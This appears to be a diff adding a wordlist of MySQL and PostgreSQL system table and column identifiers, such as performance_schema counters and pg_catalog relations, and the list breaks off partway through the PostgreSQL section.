+MESSAGE_TEXT +metadata_locks +METER +metrics +METRIC_TYPE +MIN_COUNT +MIN_COUNT_RESET +min_latency +MIN_STATEMENTS_WAIT +MIN_TIMER_DELETE +MIN_TIMER_EXECUTE +MIN_TIMER_FETCH +MIN_TIMER_INSERT +MIN_TIMER_MISC +MIN_TIMER_READ +MIN_TIMER_READ_EXTERNAL +MIN_TIMER_READ_HIGH_PRIORITY +MIN_TIMER_READ_NO_INSERT +MIN_TIMER_READ_NORMAL +MIN_TIMER_READ_ONLY +MIN_TIMER_READ_WITH_SHARED_LOCKS +MIN_TIMER_READ_WRITE +MIN_TIMER_UPDATE +MIN_TIMER_WAIT +MIN_TIMER_WRITE +MIN_TIMER_WRITE_ALLOW_WRITE +MIN_TIMER_WRITE_CONCURRENT_INSERT +MIN_TIMER_WRITE_EXTERNAL +MIN_TIMER_WRITE_LOW_PRIORITY +MIN_TIMER_WRITE_NORMAL +MIN_VALUE +misc_latency +MISSING_BYTES_BEYOND_MAX_MEM_SIZE +MODIFIED_COUNTER +MODIFIED_DATABASE_PAGES +MTYPE +mutex_instances +MYSQL_ERRNO +mysql_version +NAME +N_CACHED_PAGES +N_COLS +ndb_binlog_index +NESTING_EVENT_ID +NESTING_EVENT_LEVEL +NESTING_EVENT_TYPE +NETWORK_INTERFACE +Network_namespace +NEWEST_MODIFICATION +next_file +next_position +N_FIELDS +NODEGROUP +NO_GOOD_INDEX_USED +no_good_index_used_count +NO_INDEX_USED +no_index_used_count +no_index_used_pct +NON_UNIQUE +NOT_YOUNG_MAKE_PER_THOUSAND_GETS +n_rows +NULLABLE +NUMBER_OF_BYTES +Number_of_lines +NUMBER_OF_RELEASE_SAVEPOINT +NUMBER_OF_ROLLBACK_TO_SAVEPOINT +NUMBER_OF_SAVEPOINTS +Number_of_workers +NUMBER_PAGES_CREATED +NUMBER_PAGES_GET +NUMBER_PAGES_READ +NUMBER_PAGES_READ_AHEAD +NUMBER_PAGES_WRITTEN +NUMBER_READ_AHEAD_EVICTED +NUMBER_RECORDS +NUMERIC_PRECISION +NUMERIC_SCALE +NUM_ROWS +NUM_TYPE +OBJECT_INSTANCE_BEGIN +OBJECT_NAME +OBJECT_SCHEMA +objects_summary_global_by_type +OBJECT_TYPE +Offset +OLD_DATABASE_PAGES +OLDEST_MODIFICATION +ON_COMPLETION +OPEN_COUNT +OPERATION +OPTIMIZER_TRACE +OPTIONS +ORDINAL_POSITION +ORGANIZATION +ORGANIZATION_COORDSYS_ID +orig_epoch +ORIGINATOR +orig_server_id +OTHER_INDEX_SIZE +Owner +OWNER_EVENT_ID +OWNER_OBJECT_NAME +OWNER_OBJECT_SCHEMA +OWNER_OBJECT_TYPE +OWNER_THREAD_ID +PACKED +PAD_ATTRIBUTE +PAGE_FAULTS_MAJOR +PAGE_FAULTS_MINOR +PAGE_NO +PAGE_NUMBER +pages +PAGES_CREATE_RATE +pages_free +pages_hashed +page_size +PAGES_MADE_NOT_YOUNG_RATE +PAGES_MADE_YOUNG +PAGES_MADE_YOUNG_RATE +PAGES_NOT_MADE_YOUNG +pages_old +PAGES_READ_RATE +PAGE_STATE +pages_used +PAGES_WRITTEN_RATE +PAGE_TYPE +PARAMETER_MODE +PARAMETER_NAME +PARAMETERS +PARAMETER_STYLE +parent_category_id +PARENT_THREAD_ID +PARTITION_COMMENT +PARTITION_DESCRIPTION +PARTITION_EXPRESSION +PARTITION_METHOD +PARTITION_NAME +PARTITION_ORDINAL_POSITION +PARTITIONS +Password +password_expired +password_history +password_last_changed +password_lifetime +Password_require_current +Password_reuse_history +Password_reuse_time +Password_timestamp +PATH +PENDING_DECOMPRESS +PENDING_FLUSH_LIST +PENDING_FLUSH_LRU +PENDING_READS +percentile +performance_timers +persisted_variables +pid +plugin +PLUGIN_AUTHOR +PLUGIN_DESCRIPTION +PLUGIN_LIBRARY +PLUGIN_LIBRARY_VERSION +PLUGIN_LICENSE +PLUGIN_NAME +PLUGINS +PLUGIN_STATUS +PLUGIN_TYPE +PLUGIN_TYPE_VERSION +PLUGIN_VERSION +POOL_ID +POOL_SIZE +Port +POS +POSITION +POSITION_IN_UNIQUE_CONSTRAINT +prepared_statements_instances +PRIO +priority +PRIV +Privilege_checks_hostname +PRIVILEGE_CHECKS_USER +Privilege_checks_username +PRIVILEGES +PRIVILEGE_TYPE +PROCESSING_TRANSACTION +PROCESSING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_START_BUFFER_TIMESTAMP +processlist +PROCESSLIST +PROCESSLIST_COMMAND +PROCESSLIST_DB +PROCESSLIST_HOST +PROCESSLIST_ID +PROCESSLIST_INFO +PROCESSLIST_STATE +PROCESSLIST_TIME +PROCESSLIST_USER +Process_priv +Proc_priv +procs_priv +PROFILING +program_name +progress +PROPERTIES +PROPERTY +Proxied_host +Proxied_user +proxies_priv +PRTYPE +ps_check_lost_instrumentation +Public_key_path +PURPOSE +QUANTILE_95 +QUANTILE_99 +QUANTILE_999 +QUERY +QUERY_ID +QUERY_SAMPLE_SEEN +QUERY_SAMPLE_TEXT +QUERY_SAMPLE_TIMER_WAIT +query_time +QUEUEING_TRANSACTION +QUEUEING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_START_QUEUE_TIMESTAMP +READ_AHEAD_EVICTED_RATE +READ_AHEAD_RATE +read_latency +READ_LOCKED_BY_COUNT +RECEIVED_TRANSACTION_SET +RECOVER_TIME +redundant_index_columns +redundant_index_name +redundant_index_non_unique +REF_COL_NAME +REF_COUNT +REFERENCED_COLUMN_NAME +REFERENCED_TABLE_NAME +REFERENCED_TABLE_SCHEMA +References_priv +REFERENTIAL_CONSTRAINTS +REF_NAME +Relay_log_name +Relay_log_pos +Reload_priv +relocation_ops +relocation_time +REMAINING_DELAY +Repl_client_priv +REPLICATION +replication_applier_configuration +replication_applier_filters +replication_applier_global_filters +replication_applier_status +replication_applier_status_by_coordinator +replication_applier_status_by_worker +replication_asynchronous_connection_failover +replication_asynchronous_connection_failover_managed +replication_connection_configuration +replication_connection_status +replication_group_configuration_version +replication_group_member_actions +replication_group_members +replication_group_member_stats +Repl_slave_priv +requested +REQUESTING_ENGINE_LOCK_ID +REQUESTING_ENGINE_TRANSACTION_ID +REQUESTING_EVENT_ID +REQUESTING_OBJECT_INSTANCE_BEGIN +REQUESTING_THREAD_ID +Require_row_format +Require_table_primary_key_check +RESERVED +RESOURCE_GROUP +RESOURCE_GROUP_ENABLED +RESOURCE_GROUP_NAME +RESOURCE_GROUPS +RESOURCE_GROUP_TYPE +ret +Retry_count +RETURNED_SQLSTATE +ROLE +ROLE_COLUMN_GRANTS +role_edges +ROLE_HOST +ROLE_NAME +ROLE_ROUTINE_GRANTS +ROLE_TABLE_GRANTS +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COMMENT +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +ROW_FORMAT +ROWS_AFFECTED +rows_affected_avg +rows_cached +rows_deleted +rows_examined +rows_examined_avg +rows_fetched +rows_full_scanned +rows_inserted +rows_selected +rows_sent +rows_sent_avg +rows_sorted +rows_updated +rwlock_instances +sample_size +SAVEPOINTS +schema_auto_increment_columns +schema_index_statistics +SCHEMA_NAME +schema_object_overview +schemaops +SCHEMA_PRIVILEGES +schema_redundant_indexes +SCHEMATA +schema_table_lock_waits +schema_table_statistics +schema_table_statistics_with_buffer +schema_tables_with_full_table_scans +SCHEMATA_EXTENSIONS +schema_unused_indexes +SECONDARY_ENGINE_ATTRIBUTE +SECURITY_TYPE +SELECT_FULL_JOIN +SELECT_FULL_RANGE_JOIN +select_latency +Select_priv +SELECT_RANGE +SELECT_RANGE_CHECK +SELECT_SCAN +SEQ +SEQ_IN_INDEX +server_cost +server_id +Server_name +servers +SERVER_UUID +SERVER_VERSION +SERVICE_STATE +session +session_account_connect_attrs +session_connect_attrs +session_ssl_status +session_status +session_variables +set_by +SET_HOST +SET_TIME +setup_actors +setup_consumers +setup_instruments +setup_meters +setup_metrics +setup_objects +setup_threads +SET_USER +Show_db_priv +Show_view_priv +Shutdown_priv +SIZE +SIZE_IN_BYTES +slave_master_info +slave_relay_log_info +slave_worker_info +slow_log +Socket +SOCKET_ID +socket_instances +socket_summary_by_event_name +socket_summary_by_instance +SORTLEN +SORT_MERGE_PASSES +SORT_RANGE +SORT_ROWS +SORT_SCAN +sorts_using_scans +sort_using_range +SOURCE +Source_connection_auto_failover +SOURCE_FILE +SOURCE_FUNCTION +SOURCE_LINE +source_uuid +SPACE +SPACE_ID +SPACE_TYPE +SPACE_VERSION +SPECIFIC_CATALOG +SPECIFIC_NAME +SPECIFIC_SCHEMA +SPINS +SQL_DATA_ACCESS +Sql_delay +sql_drop_index +sql_kill_blocking_connection +sql_kill_blocking_query +SQL_MODE +SQL_PATH +SQL_STATE +sql_text +SRS_ID +SRS_NAME +SSL_ALLOWED +Ssl_ca +SSL_CA_FILE +Ssl_capath +SSL_CA_PATH +Ssl_cert +SSL_CERTIFICATE +Ssl_cipher +Ssl_crl +SSL_CRL_FILE +Ssl_crlpath +SSL_CRL_PATH +Ssl_key +ssl_sessions_reused +ssl_type +Ssl_verify_server_cert +SSL_VERIFY_SERVER_CERTIFICATE +ssl_version +START_LSN +STARTS +start_time +stat_description +STATE +statement +statement_analysis +statement_avg_latency +STATEMENT_ID +statement_latency +STATEMENT_NAME +statements +statements_with_errors_or_warnings +statements_with_full_table_scans +statements_with_runtimes_in_95th_percentile +statements_with_sorting +statements_with_temp_tables +STATISTICS +stat_name +STATS_INITIALIZED +STATUS +status_by_account +status_by_host +status_by_thread +status_by_user +STATUS_KEY +STATUS_VALUE +stat_value +ST_GEOMETRY_COLUMNS +STORAGE_ENGINES +ST_SPATIAL_REFERENCE_SYSTEMS +ST_UNITS_OF_MEASURE +SUB_PART +subpart_exists +SUBPARTITION_EXPRESSION +SUBPARTITION_METHOD +SUBPARTITION_NAME +SUBPARTITION_ORDINAL_POSITION +SUBSYSTEM +SUM_CONNECT_ERRORS +SUM_CPU_TIME +SUM_CREATED_TMP_DISK_TABLES +SUM_CREATED_TMP_TABLES +SUM_ERROR_HANDLED +SUM_ERROR_RAISED +SUM_ERRORS +SUM_LOCK_TIME +SUM_NO_GOOD_INDEX_USED +SUM_NO_INDEX_USED +SUM_NUMBER_OF_BYTES_ALLOC +SUM_NUMBER_OF_BYTES_FREE +SUM_NUMBER_OF_BYTES_READ +SUM_NUMBER_OF_BYTES_WRITE +sum_of_other_index_sizes +SUM_ROWS_AFFECTED +SUM_ROWS_EXAMINED +SUM_ROWS_SENT +SUM_SELECT_FULL_JOIN +SUM_SELECT_FULL_RANGE_JOIN +SUM_SELECT_RANGE +SUM_SELECT_RANGE_CHECK +SUM_SELECT_SCAN +SUM_SORT_MERGE_PASSES +SUM_SORT_RANGE +SUM_SORT_ROWS +SUM_SORT_SCAN +SUM_STATEMENTS_WAIT +SUM_TIMER_DELETE +SUM_TIMER_EXECUTE +SUM_TIMER_FETCH +SUM_TIMER_INSERT +SUM_TIMER_MISC +SUM_TIMER_READ +SUM_TIMER_READ_EXTERNAL +SUM_TIMER_READ_HIGH_PRIORITY +SUM_TIMER_READ_NO_INSERT +SUM_TIMER_READ_NORMAL +SUM_TIMER_READ_ONLY +SUM_TIMER_READ_WITH_SHARED_LOCKS +SUM_TIMER_READ_WRITE +SUM_TIMER_UPDATE +SUM_TIMER_WAIT +SUM_TIMER_WRITE +SUM_TIMER_WRITE_ALLOW_WRITE +SUM_TIMER_WRITE_CONCURRENT_INSERT +SUM_TIMER_WRITE_EXTERNAL +SUM_TIMER_WRITE_LOW_PRIORITY +SUM_TIMER_WRITE_NORMAL +SUM_WARNINGS +Super_priv +SUPPORT +surname +SWAPS +sys_config +sys_version +TABLE_CATALOG +TABLE_COLLATION +TABLE_COMMENT +TABLE_CONSTRAINTS +TABLE_CONSTRAINTS_EXTENSIONS +table_handles +TABLE_ID +table_io_waits_summary_by_index_usage +table_io_waits_summary_by_table +table_lock_waits_summary_by_table +TABLE_NAME +Table_priv +TABLE_PRIVILEGES +TABLE_ROWS +TABLES +table_scans +TABLE_SCHEMA +TABLES_EXTENSIONS +TABLESPACE_NAME +TABLESPACES_EXTENSIONS +tables_priv +TABLE_TYPE +TELEMETRY_ACTIVE +thd_id +thread +thread_id +THREAD_OS_ID +THREAD_PRIORITY +threads +TIME +TIMED +TIME_DISABLED +TIME_ELAPSED +TIME_ENABLED +TIMER_END +TIME_RESET +TIMER_FREQUENCY +TIMER_NAME +TIMER_OVERHEAD +TIMER_PREPARE +TIMER_RESOLUTION +TIMER_START +TIMER_WAIT +Timestamp +time_zone +TIME_ZONE +Time_zone_id +time_zone_leap_second +time_zone_name +time_zone_transition +time_zone_transition_type +tls_channel_status +Tls_ciphersuites +Tls_version +tmp_disk_tables +tmp_tables +tmp_tables_to_disk_pct +TO_HOST +total +total_allocated +TOTAL_CONNECTIONS +TOTAL_EXTENTS +total_latency +TOTAL_MEMORY +total_memory_allocated +total_read +total_requested +TOTAL_ROW_VERSIONS +total_written +TO_USER +TRACE +TRANSACTION_COUNTER +TRANSACTIONS +TRANSACTIONS_COMMITTED_ALL_MEMBERS +Transition_time +Transition_type_id +TRIGGER_CATALOG +TRIGGER_NAME +Trigger_priv +TRIGGERS +TRIGGER_SCHEMA +trx_adaptive_hash_latched +trx_adaptive_hash_timeout +trx_autocommit +trx_autocommit_non_locking +trx_concurrency_tickets +trx_foreign_key_checks +trx_id +trx_isolation_level +trx_is_read_only +trx_last_foreign_key_error +trx_latency +trx_lock_memory_bytes +trx_lock_structs +trx_mysql_thread_id +trx_operation_state +trx_query +trx_requested_lock_id +trx_rows_locked +trx_rows_modified +trx_schedule_weight +trx_started +trx_state +trx_tables_in_use +trx_tables_locked +trx_unique_checks +trx_wait_started +trx_weight +TYPE +UDF_LIBRARY +UDF_NAME +UDF_RETURN_TYPE +UDF_TYPE +UDF_USAGE_COUNT +UNCOMPRESS_CURRENT +UNCOMPRESSED_BYTES_COUNTER +uncompress_ops +uncompress_time +UNCOMPRESS_TOTAL +UNIQUE_CONSTRAINT_CATALOG +UNIQUE_CONSTRAINT_NAME +UNIQUE_CONSTRAINT_SCHEMA +unique_hosts +unique_users +UNIT +UNIT_NAME +UNIT_TYPE +UPDATE_COUNT +update_latency +Update_priv +UPDATE_RULE +updates +UPDATE_TIME +url +Use_leap_seconds +user +USER +User_attributes +USER_ATTRIBUTES +user_defined_functions +user_host +User_name +Username +User_password +USER_PRIVILEGES +users +user_summary +user_summary_by_file_io +user_summary_by_file_io_type +user_summary_by_stages +user_summary_by_statement_latency +user_summary_by_statement_type +user_variables_by_thread +Uuid +VALUE +variable +VARIABLE_NAME +VARIABLE_PATH +variables_by_thread +variables_info +VARIABLE_SOURCE +VARIABLE_VALUE +VCPU_IDS +version +VERSION +VIEW_CATALOG +VIEW_DEFINITION +VIEW_ID +VIEW_NAME +VIEW_ROUTINE_USAGE +VIEWS +VIEW_SCHEMA +VIEW_TABLE_USAGE +VOLATILITY +wait_age +wait_age_secs +wait_classes_global_by_avg_latency +wait_classes_global_by_latency +waiting_account +waiting_lock_duration +waiting_lock_id +waiting_lock_mode +waiting_lock_type +waiting_pid +waiting_query +waiting_query_rows_affected +waiting_query_rows_examined +waiting_query_secs +waiting_thread_id +waiting_trx_age +waiting_trx_id +waiting_trx_rows_locked +waiting_trx_rows_modified +waiting_trx_started +waits_by_host_by_latency +waits_by_user_by_latency +waits_global_by_latency +wait_started +warn_count +warning_pct +WARNINGS +Weight +WITH_ADMIN_OPTION +With_grant +WITH_GRANT_OPTION +WORD +WORK_COMPLETED +WORKER_ID +WORK_ESTIMATED +Wrapper +write_latency +WRITE_LOCKED_BY_THREAD_ID +write_pct +x$host_summary +x$host_summary_by_file_io +x$host_summary_by_file_io_type +x$host_summary_by_stages +x$host_summary_by_statement_latency +x$host_summary_by_statement_type +x$innodb_buffer_stats_by_schema +x$innodb_buffer_stats_by_table +x$innodb_lock_waits +x$io_by_thread_by_latency +x$io_global_by_file_by_bytes +x$io_global_by_file_by_latency +x$io_global_by_wait_by_bytes +x$io_global_by_wait_by_latency +x$latest_file_io +x$memory_by_host_by_current_bytes +x$memory_by_thread_by_current_bytes +x$memory_by_user_by_current_bytes +x$memory_global_by_current_bytes +x$memory_global_total +x$processlist +x$ps_digest_95th_percentile_by_avg_us +x$ps_digest_avg_latency_distribution +x$ps_schema_table_statistics_io +x$schema_flattened_keys +x$schema_index_statistics +x$schema_table_lock_waits +x$schema_table_statistics +x$schema_table_statistics_with_buffer +x$schema_tables_with_full_table_scans +x$session +x$statement_analysis +x$statements_with_errors_or_warnings +x$statements_with_full_table_scans +x$statements_with_runtimes_in_95th_percentile +x$statements_with_sorting +x$statements_with_temp_tables +x$user_summary +x$user_summary_by_file_io +x$user_summary_by_file_io_type +x$user_summary_by_stages +x$user_summary_by_statement_latency +x$user_summary_by_statement_type +x$wait_classes_global_by_avg_latency +x$wait_classes_global_by_latency +x$waits_by_host_by_latency +x$waits_by_user_by_latency +x$waits_global_by_latency +x509_issuer +x509_subject +XA +XA_STATE +XID_BQUAL +XID_FORMAT_ID +XID_GTRID +YOUNG_MAKE_PER_THOUSAND_GETS +ZIP_PAGE_SIZE +ZSTD_COMPRESSION_LEVEL + +[PostgreSQL] +abbrev +action_condition +action_order +action_orientation +action_reference_new_row +action_reference_new_table +action_reference_old_row +action_reference_old_table +action_statement +action_timing +active +active_pid +active_time +adbin +address +administrable_role_authorizations +admin_option +adnum +adrelid +aggcombinefn +aggdeserialfn +aggfinalextra +aggfinalfn +aggfinalmodify +aggfnoid +agginitval +aggkind +aggmfinalextra +aggmfinalfn +aggmfinalmodify +aggminitval +aggminvtransfn +aggmtransfn +aggmtransspace +aggmtranstype +aggnumdirectargs +aggserialfn +aggsortop +aggtransfn +aggtransspace +aggtranstype +allocated_size +amhandler +amname +amopfamily +amoplefttype +amopmethod +amopopr +amoppurpose +amoprighttype +amopsortfamily +amopstrategy +amproc +amprocfamily +amproclefttype +amprocnum +amprocrighttype +amtype +analyze_count +applicable_roles +application_name +applied +apply_error_count +archived_count +as_locator +attacl +attalign +attbyval +attcacheoff +attcollation +attcompression +attfdwoptions +attgenerated +atthasdef +atthasmissing +attidentity +attinhcount +attisdropped +attislocal +attlen +attmissingval +attname +attnames +attndims +attnotnull +attnum +attoptions +attrelid +attribute_default +attribute_name +attributes +attribute_udt_catalog +attribute_udt_name +attribute_udt_schema +attstattarget +attstorage +atttypid +atttypmod +auth_method +authorization_identifier +autoanalyze_count +autovacuum_count +avg_width +backend_start +backend_type +backend_xid +backend_xmin +backup_streamed +backup_total +bits +blk_read_time +blks_exists +blks_hit +blks_read +blks_written +blks_zeroed +blk_write_time +block_distance +blocks_done +blocks_total +boot_val +buffers_alloc +buffers_backend +buffers_backend_fsync +buffers_checkpoint +buffers_clean +bytes_processed +bytes_total +cache_size +calls +castcontext +castfunc +castmethod +castsource +casttarget +catalog_name +catalog_xmin +category +cfgname +cfgnamespace +cfgowner +cfgparser +character_maximum_length +character_octet_length +character_repertoire +character_set_catalog +character_set_name +character_sets +character_set_schema +character_value +check_clause +check_constraint_routine_usage +check_constraints +check_option +checkpoints_req +checkpoints_timed +checkpoint_sync_time +checkpoint_write_time +checksum_failures +checksum_last_failure +child_tables_done +child_tables_total +chunk_data +chunk_id +chunk_seq +cipher +classid +classoid +client_addr +client_dn +client_hostname +client_port +client_serial +cluster_index_relid +cmax +cmd +cmin +collation_catalog +collation_character_set_applicability +collation_name +collations +collation_schema +collcollate +collctype +collection_type_identifier +collencoding +colliculocale +collicurules +collisdeterministic +collname +collnamespace +collowner +collprovider +collversion +column_column_usage +column_default +column_domain_usage +column_name +column_options +column_privileges +columns +column_udt_usage +command +comment +comments +commit_action +conbin +condefault +condeferrable +condeferred +conexclop +confdelsetcols +confdeltype +conffeqop +confirmed_flush_lsn +confkey +confl_active_logicalslot +confl_bufferpin +confl_deadlock +conflicting +conflicts +confl_lock +confl_snapshot +confl_tablespace +confmatchtype +conforencoding +confrelid +confupdtype +conindid +coninhcount +conislocal +conkey +conname +connamespace +conninfo +connoinherit +conowner +conparentid +conpfeqop +conppeqop +conproc +conrelid +constraint_catalog +constraint_column_usage +constraint_name +constraint_schema +constraint_table_usage +constraint_type +context +contoencoding +contype +contypid +convalidated +correlation +created +creation_time +credentials_delegated +ctid +current_child_table_relid +current_locker_pid +custom_plans +cycle +cycle_option +data +database +datacl +datallowconn +data_type +data_type_privileges +datcollate +datcollversion +datconnlimit +datctype +datdba +datetime_precision +datfrozenxid +daticulocale +daticurules +datid +datistemplate +datlocprovider +datminmxid +datname +datoid +dattablespace +dbid +deadlocks +defaclacl +defaclnamespace +defaclobjtype +defaclrole +default_character_set_catalog +default_character_set_name +default_character_set_schema +default_collate_catalog +default_collate_name +default_collate_schema +default_version +definition +delete_rule +dependencies +dependent_column +deptype +description +dictinitoption +dictname +dictnamespace +dictowner +dicttemplate +domain_catalog +domain_constraints +domain_default +domain_name +domains +domain_schema +domain_udt_usage +dtd_identifier +elem_count_histogram +element_types +enabled_roles +encoding +encrypted +enforced +enumlabel +enumsortorder +enumtypid +enumvals +error +ev_action +ev_class +ev_enabled +event_manipulation +event_object_catalog +event_object_column +event_object_schema +event_object_table +evictions +ev_qual +evtenabled +evtevent +evtfoid +evtname +evtowner +evttags +ev_type +expr +exprs +extcondition +extconfig +extends +extend_time +external_id +external_language +external_name +extname +extnamespace +extowner +extra_desc +extrelocatable +ext_stats_computed +ext_stats_total +extversion +failed_count +fastpath +fdwacl +fdwhandler +fdwname +fdwoptions +fdwowner +fdwvalidator +feature_id +feature_name +file_name +flushed_lsn +flushes +flush_lag +flush_lsn +foreign_data_wrapper_catalog +foreign_data_wrapper_language +foreign_data_wrapper_name +foreign_data_wrapper_options +foreign_data_wrappers +foreign_server_catalog +foreign_server_name +foreign_server_options +foreign_servers +foreign_server_type +foreign_server_version +foreign_table_catalog +foreign_table_name +foreign_table_options +foreign_tables +foreign_table_schema +form_of_use +free_bytes +free_chunks +from_sql +fsyncs +fsync_time +ftoptions +ftrelid +ftserver +funcid +funcname +generation_expression +generic_plans +gid +granted +grantee +grantor +grolist +groname +grosysid +group_name +gss_authenticated +hasindexes +hasrules +hastriggers +heap_blks_hit +heap_blks_read +heap_blks_scanned +heap_blks_total +heap_blks_vacuumed +heap_tuples_scanned +heap_tuples_written +histogram_bounds +hit +hits +ident +identity_cycle +identity_generation +identity_increment +identity_maximum +identity_minimum +identity_start +idle_in_transaction_time +idx_blks_hit +idx_blks_read +idx_scan +idx_tup_fetch +idx_tup_read +implementation_info_id +implementation_info_name +increment +increment_by +indcheckxmin +indclass +indcollation +indexdef +indexname +indexprs +index_rebuild_count +index_relid +indexrelid +indexrelname +index_vacuum_count +indimmediate +indisclustered +indisexclusion +indislive +indisprimary +indisready +indisreplident +indisunique +indisvalid +indkey +indnatts +indnkeyatts +indnullsnotdistinct +indoption +indpred +indrelid +information_schema_catalog_name +inhdetachpending +inherited +inherit_option +inhparent +inhrelid +inhseqno +initially_deferred +initprivs +installed +installed_version +integer_value +interval_precision +interval_type +io_depth +is_binary +is_deferrable +is_derived_reference_attribute +is_deterministic +is_dst +is_final +is_generated +is_grantable +is_holdable +is_identity +is_implicitly_invocable +is_insertable_into +is_instantiable +is_instead +is_nullable +is_null_call +ispopulated +is_result +is_scrollable +is_self_referencing +issuer_dn +is_supported +is_trigger_deletable +is_trigger_insertable_into +is_trigger_updatable +is_typed +is_udt_dependent +is_updatable +is_user_defined_cast +is_verified_by +key_column_usage +kinds +label +lanacl +laninline +lanispl +lanname +lanowner +lanplcallfoid +lanpltrusted +lanvalidator +last_altered +last_analyze +last_archived_time +last_archived_wal +last_autoanalyze +last_autovacuum +last_failed_time +last_failed_wal +last_idx_scan +last_msg_receipt_time +last_msg_send_time +last_seq_scan +last_vacuum +last_value +latest_end_lsn +latest_end_time +leader_pid +level +library_name +line_number +local_id +local_lsn +lockers_done +lockers_total +locktype +loid +lomacl +lomowner +mapcfg +mapdict +map_name +map_number +mapseqno +maptokentype +match_option +matviewname +matviewowner +max_dead_tuples +max_dynamic_result_sets +maximum_cardinality +maximum_value +max_val +max_value +maxwritten_clean +member +minimum_value +min_val +min_value +mode +module_catalog +module_name +module_schema +most_common_base_freqs +most_common_elem_freqs +most_common_elems +most_common_freqs +most_common_val_nulls +most_common_vals +name +n_dead_tup +n_distinct +netmask +new_savepoint_level +n_ins_since_vacuum +n_live_tup +n_mod_since_analyze +nspacl +nspname +nspowner +n_tup_del +n_tup_hot_upd +n_tup_ins +n_tup_newpage_upd +n_tup_upd +null_frac +nulls_distinct +numbackends +num_dead_tuples +numeric_precision +numeric_precision_radix +numeric_scale +object +object_catalog +object_name +object_schema +object_type +objid +objname +objnamespace +objoid +objsubid +objtype +off +oid +op_bytes +opcdefault +opcfamily +opcintype +opckeytype +opcmethod +opcname +opcnamespace +opcowner +opfmethod +opfname +opfnamespace +opfowner +oprcanhash +oprcanmerge +oprcode +oprcom +oprjoin +oprkind +oprleft +oprname +oprnamespace +oprnegate +oprowner +oprrest +oprresult +oprright +option_name +options +option_value +ordering_category +ordering_form +ordering_routine_catalog +ordering_routine_name +ordering_routine_schema +ordinal_position +owner +pad_attribute +page +pageno +paracl +parameter_default +parameter_mode +parameter_name +parameters +parameter_style +parameter_types +parent +parname +partattrs +partclass +partcollation +partdefid +partexprs +partitions_done +partitions_total +partnatts +partrelid +partstrat +passwd +pending_restart +permissive +pg_aggregate +pg_aggregate_fnoid_index +pg_am +pg_am_name_index +pg_am_oid_index +pg_amop +pg_amop_fam_strat_index +pg_amop_oid_index +pg_amop_opr_fam_index +pg_amproc +pg_amproc_fam_proc_index +pg_amproc_oid_index +pg_attrdef +pg_attrdef_adrelid_adnum_index +pg_attrdef_oid_index +pg_attribute +pg_attribute_relid_attnam_index +pg_attribute_relid_attnum_index +pg_authid +pg_authid_oid_index +pg_authid_rolname_index +pg_auth_members +pg_auth_members_grantor_index +pg_auth_members_member_role_index +pg_auth_members_oid_index +pg_auth_members_role_member_index +pg_available_extensions +pg_available_extension_versions +pg_backend_memory_contexts +pg_cast +pg_cast_oid_index +pg_cast_source_target_index +pg_class +pg_class_oid_index +pg_class_relname_nsp_index +pg_class_tblspc_relfilenode_index +pg_collation +pg_collation_name_enc_nsp_index +pg_collation_oid_index +pg_config +pg_constraint +pg_constraint_conname_nsp_index +pg_constraint_conparentid_index +pg_constraint_conrelid_contypid_conname_index +pg_constraint_contypid_index +pg_constraint_oid_index +pg_conversion +pg_conversion_default_index +pg_conversion_name_nsp_index +pg_conversion_oid_index +pg_cursors +pg_database +pg_database_datname_index +pg_database_oid_index +pg_db_role_setting +pg_db_role_setting_databaseid_rol_index +pg_default_acl +pg_default_acl_oid_index +pg_default_acl_role_nsp_obj_index +pg_depend +pg_depend_depender_index +pg_depend_reference_index +pg_description +pg_description_o_c_o_index +pg_enum +pg_enum_oid_index +pg_enum_typid_label_index +pg_enum_typid_sortorder_index +pg_event_trigger +pg_event_trigger_evtname_index +pg_event_trigger_oid_index +pg_extension +pg_extension_name_index +pg_extension_oid_index +pg_file_settings +pg_foreign_data_wrapper +pg_foreign_data_wrapper_name_index +pg_foreign_data_wrapper_oid_index +_pg_foreign_data_wrappers +pg_foreign_server +pg_foreign_server_name_index +pg_foreign_server_oid_index +_pg_foreign_servers +pg_foreign_table +_pg_foreign_table_columns +pg_foreign_table_relid_index +_pg_foreign_tables +pg_group +pg_hba_file_rules +pg_ident_file_mappings +pg_index +pg_indexes +pg_index_indexrelid_index +pg_index_indrelid_index +pg_inherits +pg_inherits_parent_index +pg_inherits_relid_seqno_index +pg_init_privs +pg_init_privs_o_c_o_index +pg_language +pg_language_name_index +pg_language_oid_index +pg_largeobject +pg_largeobject_loid_pn_index +pg_largeobject_metadata +pg_largeobject_metadata_oid_index +pg_locks +pg_matviews +pg_namespace +pg_namespace_nspname_index +pg_namespace_oid_index +pg_opclass +pg_opclass_am_name_nsp_index +pg_opclass_oid_index +pg_operator +pg_operator_oid_index +pg_operator_oprname_l_r_n_index +pg_opfamily +pg_opfamily_am_name_nsp_index +pg_opfamily_oid_index +pg_parameter_acl +pg_parameter_acl_oid_index +pg_parameter_acl_parname_index +pg_partitioned_table +pg_partitioned_table_partrelid_index +pg_policies +pg_policy +pg_policy_oid_index +pg_policy_polrelid_polname_index +pg_prepared_statements +pg_prepared_xacts +pg_proc +pg_proc_oid_index +pg_proc_proname_args_nsp_index +pg_publication +pg_publication_namespace +pg_publication_namespace_oid_index +pg_publication_namespace_pnnspid_pnpubid_index +pg_publication_oid_index +pg_publication_pubname_index +pg_publication_rel +pg_publication_rel_oid_index +pg_publication_rel_prpubid_index +pg_publication_rel_prrelid_prpubid_index +pg_publication_tables +pg_range +pg_range_rngmultitypid_index +pg_range_rngtypid_index +pg_replication_origin +pg_replication_origin_roiident_index +pg_replication_origin_roname_index +pg_replication_origin_status +pg_replication_slots +pg_rewrite +pg_rewrite_oid_index +pg_rewrite_rel_rulename_index +pg_roles +pg_rules +pg_seclabel +pg_seclabel_object_index +pg_seclabels +pg_sequence +pg_sequences +pg_sequence_seqrelid_index +pg_settings +pg_shadow +pg_shdepend +pg_shdepend_depender_index +pg_shdepend_reference_index +pg_shdescription +pg_shdescription_o_c_index +pg_shmem_allocations +pg_shseclabel +pg_shseclabel_object_index +pg_stat_activity +pg_stat_all_indexes +pg_stat_all_tables +pg_stat_archiver 